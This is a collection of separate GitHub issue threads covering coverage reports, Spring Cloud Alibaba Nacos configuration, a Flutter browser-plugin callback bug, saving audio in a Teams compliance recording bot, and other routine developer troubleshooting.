...c/main/java/net/jailgens/mirror/ParameterImpl.java
54.54% <0.00%> (-45.46%)
:arrow_down:

...n/java/net/jailgens/mirror/TypeDefinitionImpl.java
70.73% <7.69%> (-29.27%)
:arrow_down:

...main/java/net/jailgens/mirror/ConstructorImpl.java
76.08% <25.00%> (-18.04%)
:arrow_down:

src/main/java/net/jailgens/mirror/FieldImpl.java
71.05% <30.00%> (-14.67%)
:arrow_down:

src/main/java/net/jailgens/mirror/MethodImpl.java
79.54% <41.66%> (-14.21%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Uart integration

UART tile integration to the ring is successful, ran the Alive_VGA_3 test.

@ChrisShakkour did you make sure the LOTR sanity test is still passing?

Did you run the alive VGA on FPGA?

Did you run the alive VGA on FPGA?

No only sim, fpga target is broken needs logic fixes, SOF file not pushed.


springCloudAlibaba does not support sentinel config with username and password

The latest version of the code does not support configuring the user name and password to read the rules in Nacos. If Nacos is configured with permissions, it will be troublesome here. In order to save resources, it is recommended to add the permission data that can read the corresponding account according to the user name and password！
the current version:

com.alibaba.cloud
spring-cloud-circuitbreaker-sentinel
2.2.1.RELEASE

my config like this:
spring:
cloud:
sentinel: #sentinel限流器
transport:
port: 8719
dashboard: <IP_ADDRESS>:8080
eager: true #懒加载关闭
#规则看这里 org.springframework.cloud.alibaba.sentinel.datasource.RuleType
#因为spring-cloud-starter-alibaba-sentinel目前2.2.1版本不支持username,password,
#如果使用可以单独配置一个不开启验证的限流服务器的nacos
#限流规则请参考这里NacosDataSourceProperties,折中的办法就是暂时配置一个不验证权限的限流nacos
datasource:
flow:
nacos:
server-addr: ${spring.nacos-host}:${spring.nacos-port}
username: ${spring.nacos-username}
password: ${spring.nacos-password}
dataId: ${spring.application.name}-sentinel-flow
groupId: SENTINEL_GROUP
rule-type: flow
degrade:
nacos:
server-addr: ${spring.nacos-host}:${spring.nacos-port}
username: ${spring.nacos-username}
password: ${spring.nacos-password}
dataId: ${spring.application.name}-sentinel-degrade
groupId: SENTINEL_GROUP
rule-type: degrade
system:
nacos:
server-addr: ${spring.nacos-host}:${spring.nacos-port}
username: ${spring.nacos-username}
password: ${spring.nacos-password}
dataId: ${spring.application.name}-sentinel-system
groupId: SENTINEL_GROUP
rule-type: system
authority:
nacos:
server-addr: ${spring.nacos-host}:${spring.nacos-port}
username: ${spring.nacos-username}
password: ${spring.nacos-password}
dataId: ${spring.application.name}-sentinel-authority
groupId: SENTINEL_GROUP
rule-type: authority
param-flow:
nacos:
server-addr: ${spring.nacos-host}:${spring.nacos-port}
username: ${spring.nacos-username}
password: ${spring.nacos-password}
dataId: ${spring.application.name}-sentinel-param-flow
groupId: SENTINEL_GROUP
rule-type: param-flow
but when i start up my project,this config is unable to read,look this class: NacosDataSourceProperties,
it does not support config with username and password,need to fixed，thanks！

Spring Cloud Alibaba 2.2.1.RELEASE already supported.  you can see it at NacosDataSourceProperties.java .

Sentinel Example


WIP Tests (for green-audio-player branch)

Kind of waiting for #89 to land to rebase this on it, if we hit merge, it will join up with #89 though :)


RSAPSS available in Code, but not in dist?

Curious as to why there seem to be an implementation of RSAPSS under code/ but no translation of it under dist/ ...

The implementation of RSAPSS can be found, for example, here. It is also available for the portable-gcc-compatible and msvc-compatible distributions.

Looks like today I am blind, sorry for the noise.


Allow specifying a scene in completion tests

Followup to #85178.

Adds the option to specify a scene path in the test cfg file. This will come in handy when performing many tests against the same scene (e.g. testing everything related to get_node).
Fixes an oversight in the original PR, which meant that scene files would not correctly work in sub folders.
Solve inconsistencies in key naming for the cfg file. (They were different between code and example test).
Also documents the format for completion tests inside the test README

Thanks!


Error when using LineSDK in OC project

Is it a security issue?
no
What did you do?
After I integrate LineSDK with pods, I get an error when calling loginWithPermissions:permissions method
What did you expect?
I hope I can use LineSDK normally in OC projects
What happened actually?
error，EXC_BAD_ACCESS
Your environment?
pod 'LineSDKSwift/ObjC', '~> 5.0'
Xcode 12.0 beta 5
iOS 12.4.8
Sample project
https://github.com/hw20101101/H200914_Test_Protocol

Hi,
It seems that you are passing a nil to the parameters in the login method. https://github.com/hw20101101/H200914_Test_Protocol/blob/master/H200914_Test_Protocol/ViewController.m#L38
You should not do that since this parameters only accept a non-null value:

Try to remove the parameters:nil from your code, or set a LineSDKLoginManagerParameters value to it if you need any additional parameters. That should solve it.


onClosed not considering back navigation or up button / close button in ChromeSafariBrowser

Environment
flutter doctor                                                                                ~/Development/uryde
Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 3.16.0, on macOS 14.1.1 23B81 darwin-arm64, locale de-DE)
[✓] Android toolchain - develop for Android devices (Android SDK version 32.1.0-rc1)
[✓] Xcode - develop for iOS and macOS (Xcode 15.0.1)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2022.3)
[✓] IntelliJ IDEA Community Edition (version 2023.2.5)
[✓] VS Code (version 1.84.2)
[✓] Connected device (4 available)
[✓] Network resources
• No issues found!

Technology
Version

Plugin version
6.0.0-beta.25

Device information:
OnePlus Nord (Android 12)
Description
Expected behavior:
The onClose callback does also trigger when manually closing the open ChromeSafariBrowser either by navigating back via gesture navigation / back button or by closing it via the navigation bar.
Current behavior:
The onClose callback doesn't trigger when manually closing the open ChromeSafariBrowser either by navigating back via gesture navigation / back button or by closing it via the navigation bar.
Steps to reproduce

Implement ChromeSafariBrowser in own class
Open a url with browser.open
Manually close the browser

class CloseAwareChromeSafariBrowser extends ChromeSafariBrowser {
  CloseAwareChromeSafariBrowser({
    required this.onBrowserClosed,
  });

  final VoidCallback onBrowserClosed;

  @override
  void onClosed() {
    super.onClosed();
    onBrowserClosed();
  }
}

I'm not able to reproduce the issue.
The onClosed event is called every time, by navigating back or by closing it via the navigation bar.
You should see something similar in the debug console:
...
[AndroidChromeSafariBrowser] (android) AndroidChromeSafariBrowser ID<PHONE_NUMBER>41742555225208 calling "onCompletedInitialLoad" using {}
[AndroidChromeSafariBrowser] (android) AndroidChromeSafariBrowser ID<PHONE_NUMBER>41742555225208 calling "onNavigationEvent" using {navigationEvent: 2}
[AndroidChromeSafariBrowser] (android) AndroidChromeSafariBrowser ID<PHONE_NUMBER>41742555225208 calling "onClosed" using {}
...

what happens if you use Firefox as default Browser?

My logs more look like
[CloseAwareChromeSafariBrowser] (android) CloseAwareChromeSafariBrowser ID<PHONE_NUMBER>03941892181734513061153558247232 calling "onCompletedInitialLoad" using {}
[CloseAwareChromeSafariBrowser] (android) CloseAwareChromeSafariBrowser ID<PHONE_NUMBER>03941892181734513061153558247232 calling "onNavigationEvent" using {navigationEvent: 2}
[CloseAwareChromeSafariBrowser] (android) CloseAwareChromeSafariBrowser ID<PHONE_NUMBER>03941892181734513061153558247232 calling "onNavigationEvent" using {navigationEvent: 6}

This issue doesn't happen on iOS, only on Android

@pichillilorenzo Were you able to reproduce this issue on Android?

@luckyhandler I didn’t take a look at it yet.
Could you post full code that you are using for the browser or create a reproducible code example? Thanks.

Find the project reproducing the bug here
The project sets a string when starting the app to a default value "Press the button below to open the browser".
Whenever the browser is opened it changes this text to "Opened browser!"
Whenever the CloseAwareChromeSafariBrowser reacts to the onClosed event it changes the text to "Browser closed!"
The last step never happens although the browser was closed.

I cannot access that project, I receive 404 not found.

ok, try again, it was private...

Ok! In the meantime, have you tried using an Android Emulator or another Android device? I don’t if it could be a device-specific issue

I only use real devices from different vendors

Google Pixel 7A

Samsung Galaxy A52 5G

Chrome 119.0.6045.193

Fixed in Android-specific package implementation, use the latest beta plugin version 6.0.0-beta.31 to get the fix.
The problem was caused by using noHistory: true. In Android, using noHistory will cause Activity.onActivityResult to not be called, so ChromeSafariBrowser.onClosed won't be called.
Now there is a workaround about that to check when the android activity has been closed when using noHistory: true.

cool thanks!

@pichillilorenzo almost similar kind of issue is happening when I'm passing packageName. If I remove packageName it gives me call backs like this
onCompletedInitialLoad
onClosed

but when I add package name the onCompletedIntialLoad method doesn't called. My purpose is when onCompetedIntialLoad is called I have to close the browser manually but seems to be some bug.


Compliance recording bot stops recording itself and want to download the recording to local storage.

@ksikorsk and others who can help with this.
I ran the compliance recording bot locally by following the instructions. I am being able to make/receive the call on a recorded user(Teams's user with assigned recording compliance policy) from/to non-recorded users as shown in the screenshot

I found that call recording gets stopped in approx 1 min duration while the call continues. Do we need to do something else to record the entire call. Again I am also looking to download the recording in my local storage. Where can we find the recorded file(i.e. audio/video file) and what is the URI to download that file?
Note: I tried the compliance recording bot in by hosting in cloud service too. I am having the same limitation i.e. recording stops within 1 min.

Hi @bijaykush  were you able to solve this ?

Did anybody get anywhere with this?

@WezMorris and @aarushi-mittal
For recording the audio on local storage, I tried to save the audio data in a byte array and at the end of the call, I converted those byte array data into audio (mp3, wave) format.
And to remove the auto stopping the recording by MS Teams, you need to change the logic of OnRecordingStatusFlip as per your wish in compliance recording bot code sample.

Could you share a code snippet? I'm trying to save the audio (e.Buffer.Data) and getting tiny unreadable wav files.

That does help, thanks.
Then do you write the byte array to a file in the CallOnUpdated function in the callhandler?

Yup.

@bijaykush Can you please share your snippet? I didn't get what is the type of finalDataBytes and how can I save into a file (after the calls end)...

I've done something similar to the above using the Marshal.Copy but my file is always empty - the size seems correct as though it's getting the right length of the audio stream, but the content of the file is complete blank.  If I just dump out the unmanaged buffer as a string, I get numeric values back which suggests there's something in the buffer.  Did anyone else hit this issue and if so, what's the solution :)

Could you post your function?

Could you post your function?

I'm sorted now - thank you for replying though.

Could you post your function?

I'm sorted now - thank you for replying though.

Hi skaro - what was the issue there? im also getting an empty managed array
    private void OnAudioMediaReceived(object sender, AudioMediaReceivedEventArgs e)
    {
        this.GraphLogger.Info($"Received Audio: [VideoMediaReceivedEventArgs(Data=<{e.Buffer.Data.ToString()}>, Length={e.Buffer.Length}, Timestamp={e.Buffer.Timestamp})]");
        var buffer = e.Buffer;
        try
        {
                long length = buffer.Length;
                var retrievedBuffer = new byte[length];
                Marshal.Copy(buffer.Data, retrievedBuffer, 0, (int)length);
                this.AudioDataBytesAdd(retrievedBuffer);
        }
        catch (Exception ex)
        {
            this.GraphLogger.Info($"got an exception while extracting media data from unmanaged array, {ex.Message.ToString()}");
        }
        finally
        {
            buffer.Dispose();
        }
    }

The first call never records anything.  After that it records perfectly each time.  Someone has raised it as a separate issue.

The first call never records anything. After that it records perfectly each time. Someone has raised it as a separate issue.

thanks for the quick response - but seems in my case the issue is somewhere else - no matter how many calls were made, its always blanks

Odd - my code is taken from elsewhere in this thread and is pretty similar to yours (with finalDataBytes being a list of byte[]): -
byte[] managedArray = new byte[e.Buffer.Length];
var handler = e.Buffer.Data;
int start = 0;
int length = (int)e.Buffer.Length;
Marshal.Copy(handler, managedArray, start, length);
this.finalDataBytes.Add(managedArray);
You can try just writing down the unmanaged buffer to file using an unsafe method - this is what I did when troubleshooting: -
try
{
FileStream file = new FileStream("test.wav", FileMode.Append, FileAccess.Write);
UnmanagedMemoryStream ustream = new UnmanagedMemoryStream((byte*)e.Buffer.Data, e.Buffer.Length);
ustream.CopyTo(file);
ustream.Close();
file.Close();
}
catch
{
}

Odd - my code is taken from elsewhere in this thread and is pretty similar to yours (with finalDataBytes being a list of byte[]): -
byte[] managedArray = new byte[e.Buffer.Length];
var handler = e.Buffer.Data;
int start = 0;
int length = (int)e.Buffer.Length;
Marshal.Copy(handler, managedArray, start, length);
this.finalDataBytes.Add(managedArray);
You can try just writing down the unmanaged buffer to file using an unsafe method - this is what I did when troubleshooting: -
try
{
FileStream file = new FileStream("test.wav", FileMode.Append, FileAccess.Write);
UnmanagedMemoryStream ustream = new UnmanagedMemoryStream((byte*)e.Buffer.Data, e.Buffer.Length);
ustream.CopyTo(file);
ustream.Close();
file.Close();
}
catch
{
}

Hi skaro - getting an empty file as well using the pointer method,

odd...

@WezMorris and @aarushi-mittal
For recording the audio on local storage, I tried to save the audio data in a byte array and at the end of the call, I converted those byte array data into audio (mp3, wave) format.
And to remove the auto stopping the recording by MS Teams, you need to change the logic of OnRecordingStatusFlip as per your wish in compliance recording bot code sample.

How are you converting the byte array to wave at the end ?  I tried converting using NAudio but not getting proper audio
public static void ConvertRawToAudio(string prmRawFilePath, string prmOutFilePath)
        {
            var inFileFormat = WaveFormat.CreateALawFormat(16000, 1);
            var rawStream = new RawSourceWaveStream(File.OpenRead(prmRawFilePath), inFileFormat);
            using (var converter = WaveFormatConversionStream.CreatePcmStream(rawStream))
            {
                WaveFileWriter.CreateWaveFile(prmOutFilePath, converter);
            }
        }

sample  code to convert would help.

Odd - my code is taken from elsewhere in this thread and is pretty similar to yours (with finalDataBytes being a list of byte[]): -
byte[] managedArray = new byte[e.Buffer.Length];
var handler = e.Buffer.Data;
int start = 0;
int length = (int)e.Buffer.Length;
Marshal.Copy(handler, managedArray, start, length);
this.finalDataBytes.Add(managedArray);
You can try just writing down the unmanaged buffer to file using an unsafe method - this is what I did when troubleshooting: -
try
{
FileStream file = new FileStream("test.wav", FileMode.Append, FileAccess.Write);
UnmanagedMemoryStream ustream = new UnmanagedMemoryStream((byte*)e.Buffer.Data, e.Buffer.Length);
ustream.CopyTo(file);
ustream.Close();
file.Close();
}
catch
{
}

Hi skaro - getting an empty file as well using the pointer method,

odd...

I was able to get bytes using
            byte[] b = new byte[this.buffLength];
            Marshal.Copy(e.Buffer.Data, b, 0, (int)e.Buffer.Length);
            Utilities.avQueue.Enqueue(b);

This is question is not relevant to this thread. But I asked this question in a separate issue, but no one answered. https://github.com/microsoftgraph/microsoft-graph-comms-samples/issues/257
@ucodes How did you manage to run the compliance bot in the local machine in debug mode? I tried to debug it locally, but it never worked. I tried using ngrok. If you can help me with this, that would be really great. Currently, I haven't tested or debugged a single line of code, every time made a change directly deploy it in cloud service for testing.
If you can answer this in the above-mentioned issue, that also fine.
thanks

@Manojb86 im using remote debugging of the cloud service https://docs.microsoft.com/en-us/visualstudio/azure/vs-azure-tools-debug-cloud-services-virtual-machines?view=vs-2019
And you can always rdp to a VM where your worker role is running

Speaking of OnRecordingStatusFlip function, it contains the following logging statement.
            this.GraphLogger.Info($"Flipping recording status to {newStatus}");

Judging from the fact that my call is indeed terminated in about a minute, I assume this function is called. However, I do not find the above logging statement from the page reachable via "/logs" endpoint. It appears that the "/logs" page only contains those statements related to HTTP interactions (incoming/outgoing), and none of the other logging statements produced by the bot.
Does anyone see other logging statements, and if so, where can I find them?


Change cockroach_version in examples to variable

Also, the previous hard-coded value wasn't valid. The new default is.

TFTR!


domain parse error

url('domain','http://mall.belle.net.cn/')
now this result is wrong: net.cn
correct result: belle.net.cn

Yes, I started the to version a while ago and I suppose I should put some
restriction on it like gtld or something.
The full list is quite massive.
https://publicsuffix.org/list/public_suffix_list.dat
On Oct 20, 2017 10:14 AM, "日 月"<EMAIL_ADDRESS>wrote:

url('domain','http://mall.belle.net.cn/')
now this result is wrong: net.cn
correct result: belle.net.cn
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/websanova/js-url/issues/62, or mute the thread
https://github.com/notifications/unsubscribe-auth/ABkcy5u9bDWZjqk9FbPhf0d23oaqqP1kks5suBABgaJpZM4QAIjn
.


[BUG] Everything is T?

I just downloaded the 2.0.0 version, edited the two inc files and uploaded them to my directory. Imported the tables and made the admin account just fine. However, when I go to the every single page logged out and logged in, and in the admin section, EVERYTHING show as "T". I haven't changed any coding in any way, so im not sure what's happening here. Screen shot added!

Which PHP version do you use?
You need at least version 7.2 or higher

I'm using 7.4.

Hmmm, that's strange.
Can you test this on your local computer with xampp (for example)?

It seems to have fixed itself, as it looks normal now. That was really strange.

Very strange! :D
But good that it works now - then I will close this issue.